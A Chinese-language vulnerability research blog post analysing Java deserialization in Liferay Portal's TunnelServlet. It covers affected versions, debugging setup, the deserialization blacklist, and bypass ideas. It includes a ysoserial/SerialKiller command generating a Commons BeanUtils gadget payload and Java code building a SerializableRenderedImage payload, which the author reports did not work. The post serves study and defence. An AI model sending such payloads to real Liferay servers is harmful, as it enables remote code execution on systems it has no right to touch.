前言:

最近liferay portal被爆了一個json的反序列化漏洞,本着學習的態度準備研究一番,於是搭建了低版本環境,順手搜了下readObject函數,意外發現TunnelServlet存在java反序列化漏洞,想着馬上就可以出任ceo、迎娶白富美、走上人生巔峯了,後來發現該漏洞在16年被通報官方了,只是沒有給cve編號,所以一開始沒搜到相關信息,只能感嘆相逢恨晚了。由於該漏洞觸發點比較簡單,只是加了反序列化黑名單,所以下面主要討論漏洞利用的相關技術。

一、漏洞版本

AffectsVersion/s: 6.0 EE(6.0.10), 6.0 EE SP1 (6.0.11), 6.0 EE SP2 (6.0.12), 6.1 EE GA1 (6.1.10), 6.1 EEGA2 (6.1.20), 6.1 EE GA3 (6.1.30), 6.2 EE GA1 (6.2.10), 7.0 DE (7.0.10)

FixVersion/s:  6.0.X EE6.1.X EE6.2.X EE7.0.X EE

二、調試環境搭建

首先在Idea插件中安裝liferay插件

新建Liferay項目

獲取liferay portal, https://releases-cdn.liferay.com/portal/ ,將url改成我們需要調試的版本的路徑(可能會很慢),如果你已經本地下載過了,搭個本地web服務,地址可以設置成127.0.0.1

然後在項目中右鍵,liferay-IniBundle,

這一步會下載LiferayPortal,保存在項目的bundles文件夾裏面

然後添加LiferayServer就可以運行和調試項目了

如果我們要攔截某個jar對數據的處理,我們需要先把jar添加到項目中,

比如我們知道webapp\root\web-inf\lib\portal-impl.jar中的com.liferay.portal.jsonwebservice.JSONWebServiceServlet類會處理所有 http://localhost:8080/api/jsonws/xxx的請求

右鍵lib,add as library

定位代碼,添加斷點,成功斷下程序。

三、漏洞分析

由於漏洞的觸發比較簡單,所以這裏我們簡單看下liferay不同版本,漏洞代碼的變化。

漏洞出現在系統portal-impl.jar的TunnelServlet模塊,我們看下配置文件,

<servlet>
    <servlet-name>Tunnel Servlet</servlet-name>
     <servlet-class>com.liferay.portal.servlet.TunnelServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
   <servlet-name>Tunnel Servlet</servlet-name>
   <url-pattern>/api/liferay/*</url-pattern>
</servlet-mapping>

該模塊可以直接從web訪問。

Liferay 6.x TunnelServlet代碼:

Liferay 7.0  TunnelServlet代碼:

Liferay 7.1  TunnelServlet代碼:

程序處理流程也很簡單,獲取http的post數據流,然後調用readObject進行反序列化。Liferay 6.x沒做任何處理,直接進行反序列化,Liferay 7.0添加了反序列化黑名單,Liferay7.1需要登陸認證。

下面主要討論Liferay 7.0中的漏洞利用。

四、漏洞利用

Liferay 6.x中利用不多贅述,直接使用 ysoserial 生成payload打之即可。

下面我們主要討論下Liferay 7.0的漏洞利用,即黑名單繞過。這種防禦java反序列化的攻擊手段還是很常見的。我們先看下,系統黑名單有那些,即那些類不允許發序列化。

    com.liferay.portal.kernel.io.ProtectedObjectInputStream.restricted.class.names=\
         com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,\
        org.apache.commons.collections.functors.CloneTransformer,\
        org.apache.commons.collections.functors.ForClosure,\
        org.apache.commons.collections.functors.InvokerTransformer,\
        org.apache.commons.collections.functors.InstantiateFactory,\
        org.apache.commons.collections.functors.InstantiateTransformer,\
        org.apache.commons.collections.functors.PrototypeFactory$PrototypeCloneFactory,\
         org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory,\
        org.apache.commons.collections.functors.WhileClosure,\
        org.apache.commons.collections4.functors.InvokerTransformer,\
        org.codehaus.groovy.runtime.ConvertedClosure,\
        org.codehaus.groovy.runtime.MethodClosure,\
        org.springframework.beans.factory.ObjectFactory,\
        org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider,\
        sun.reflect.annotation.AnnotationInvocationHandler

對於如果繞過黑名單進行反序列化,這裏主要有以下四點思考,當然,僅是思考,未必能成功。

1、利用不在黑名單中的公開利用鏈。

這裏我們可以利用 ysoserial 的Commons BeanUtils模塊,但是CommonsBeanUtils背後使用的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl機制,所以直接使用也會報錯,不過之前有人研究過了繞過手段,

https://github.com/pwntester/SerialKillerBypassGadgetCollection

編譯該項目,執行命令

java -cp serialkiller-bypass-gadgets.jarserialkiller.Main CommonsBeanutils1 Beanutils1 "calc" >calc.ser

將payload發送到目標地址,成功彈出計算器,黑名單繞過。

基於此種方案,參考長亭的“tomcat的一種通用回顯方法研究”,成功實現無外連回顯任意命令執行,如果後面有時間,會單獨寫篇如何編寫liferay反序列化任意命令執行回顯的文章。

2、使用嵌套readObject,進行反序列化

嵌套readObject反序列化繞過,就是尋找那種在實現了readObject的類,並且readObject函數中再次調用readObject,我們可以在二次調用readObject中進行反序列化利用,不過這個要視具體場景而定,經測試該漏洞中不可行。

3、 反序列化+jndi注入實現繞過

這種方式可能不具有通用性,只是我在研究該漏洞的一個思考,或者說是學習也行。參考文章 https://www.tenable.com/security/research/tra-2017-01 ,文章說,他們發現SerializableRenderedImage類中存在繞過方式,並且成功編寫了poc。

於是我簡單的看了下該類

public final class SerializableRenderedImage implements RenderedImage, Serializable

    private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {

        this.isServer = false;

        this.source = null;

        this.serverOpen = false;

        this.serverSocket = null;

        this.serverThread = null;

        this.colorModel = null;

        in.defaultReadObject();

        if (this.isSourceRemote) {

            final String serverName = (String)in.readObject();

            final Long id = (Long)in.readObject();

            this.source = new RemoteImage(serverName + "::" + (long)id, (RenderedImage)null);
        }


        final SerializableState smState = (SerializableState)in.readObject();

        this.sampleModel = (SampleModel)smState.getObject();

        final SerializableState cmState = (SerializableState)in.readObject();

        this.colorModel = (ColorModel)cmState.getObject();

        this.properties = (Hashtable)in.readObject();

        if (this.useDeepCopy) {

            if (this.useTileCodec) {

                this.imageRaster = this.decodeRasterFromByteArray((byte[])in.readObject());

            }

            else {

                final SerializableState rasState = (SerializableState)in.readObject();

                this.imageRaster = (Raster)rasState.getObject();

            }

        }

    }


 


    public RemoteImage(String serverName, final RenderedImage source) {

        super(null, null, null);

        this.id = null;

        this.fieldValid = new boolean[11];

        this.propertyNames = null;

        this.timeout = 1000;

        this.numRetries = 5;

        this.imageBounds = null;

        if (serverName == null) {

            serverName = this.getLocalHostAddress();

        }

        final int index = serverName.indexOf("::");

        final boolean remoteChainingHack = index != -1;

        if (!remoteChainingHack && source == null) {

            throw new IllegalArgumentException(JaiI18N.getString("RemoteImage1"));

        }

        if (remoteChainingHack) {

            this.id = Long.valueOf(serverName.substring(index + 2));

            serverName = serverName.substring(0, index);

        }

        this.getRMIImage(serverName);

        if (!remoteChainingHack) {

            this.getRMIID();

        }


        this.setRMIProperties(serverName);

        if (source != null) {

            try {

                if (source instanceof Serializable) {

                    this.remoteImage.setSource(this.id, source);

                }

                else {

                    this.remoteImage.setSource(this.id, new SerializableRenderedImage(source));

                }

            }

            catch (RemoteException e) {

                throw new RuntimeException(e.getMessage());

            }

        }
    }


    private void getRMIImage(String serverName) {

        if (serverName == null) {

            serverName = this.getLocalHostAddress();

        }

        final String serviceName = new String("rmi://" + serverName + "/" + "RemoteImageServer");

        this.remoteImage = null;

        try {

            this.remoteImage = (RMIImage)Naming.lookup(serviceName);

        }

        catch (Exception e) {

            throw new RuntimeException(e.getMessage());
        }

    }

看到了lookup()函數,我一開始以爲可以進行jndi注入呢。所以利用鏈如下

 SerializableRenderedImage->RemoteImage()->getRMIImag()->Naming.lookup(serviceName);

編寫漏洞利用代碼,

public class SerializableRenderedImage 
implements Serializable {

    private static final long serialVersionUID = -8499818538715956218L;

    private boolean isSourceRemote;

    public SerializableRenderedImage(){

        this.isSourceRemote = true;

    }

    private void writeObject(ObjectOutputStream out) throws  Exception{

        out.defaultWriteObject();

        if (this.isSourceRemote) {

            out.writeObject(new String("127.0.0.1:1099"));

            out.writeObject(new Long(1234));

        }

    }


    public static class LifeRayInvokePayload {

        public static void main(String[] args) throws Exception{

            SerializableRenderedImage
serializableRenderedImage = new SerializableRenderedImage();

            String fileName = "SerializableRenderedImage.ser";

            FileOutputStream
fileOutputStream = new FileOutputStream(fileName);

            ObjectOutputStream
outputStream = new ObjectOutputStream(fileOutputStream);

            outputStream.writeObject(serializableRenderedImage);

            outputStream.close();

        }

    }

}

將SerializableRenderedImage.ser發送到目標地址,程序流程成功走到Naming.lookup(serviceName)處,但是並沒有成功出發漏洞。後經本地測試Naming.lookup()是不存在jndi注入漏洞的。

Contextctx = new InitialContext(env);
Object local_obj = ctx.lookup(serviceName);

這種才存在jndi注入。

雖然此種方案沒有利用成功,但是通過調試分析,感覺自己還是進步不少。

可見 https://www.tenable.com/security/research/tra-2017-01 作者應該是利用了其他方案,目前還沒有繼續研究。

4、 重新尋找新的利用鏈

重新尋找新的利用鏈需要有足夠紮實的技術,也比較耗時,難度較高,我這裏也只是紙上談兵,逞口舌之快。

五、總結

該漏洞觸發點比較簡單,利用需要動點腦筋,所以算是學習java反序列化漏洞的很好案例。如果提高自己的java反序列漏洞利用技術,還是需要學習ysoserial的代碼,自己動手調試。

參考:

https://www.tenable.com/security/research/tra-2017-01

https://zhuanlan.zhihu.com/p/114625962?from_voters_page=true

https://xz.aliyun.com/t/7485

http://www.vuln.cn/6295

*本文作者:MrCoding,轉載請註明來自FreeBuf.COM

相關文章